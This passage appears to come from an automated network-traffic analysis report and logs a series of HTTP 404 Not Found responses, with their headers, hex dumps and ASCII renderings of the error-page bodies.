<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:48:19 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404">
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:48:35 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:48:38 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:48:41 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:49:05 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:49:08 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:49:11 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:49:14 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:50:39 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLueVAdh4mizLzPAFxBT5pY2ssW1VIRipybrEwS3KbMuzsL0rMcio9kLSdR0zZZ6dDJqEkQM9%2BUn8SG3zWxrtgb7uauMp3IM08CIPKkzQnBduXHQxsgvG3vsLyIMFdIq%2Bl8FCD0L1A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5958f1c0ff865-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118739&min_rtt=118739&rtt_var=59369&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=807&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a Data Ascii: e3Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_+
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:50:42 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctFN4TaJT%2B0gJxpkFJebArmioPfFs2kHe842w64H%2FYlPqDB3UplOHDxdGyq%2B1DrDhV9YDYEmtIdJI29EP51XDNFjRx25%2FbcSJLsir89tZq7Ql%2Fg6bq%2BjIqWFBG%2FVEYS4xQjm3AGnPw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5959faff5eaf7-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=128251&min_rtt=128251&rtt_var=64125&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=827&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a Data Ascii: e3Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_+
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:50:44 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TOoijhS9hbpWsqe90%2B6jaKysCqjmz%2BitwTks8LZlLEQ1CvB5ivpkjRt1a5wnblPHuE9j6InGQnBnCr8lzn06CAlR95WAOJRuKK7y%2BzCOeoReFWI2vjN3JzkMhi6D%2FBlkwOqbyCz0Tg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff595b0392e10b4-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119085&min_rtt=119085&rtt_var=59542&sent=6&recv=9&lost=0&retrans=0&sent_bytes=0&recv_bytes=7976&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 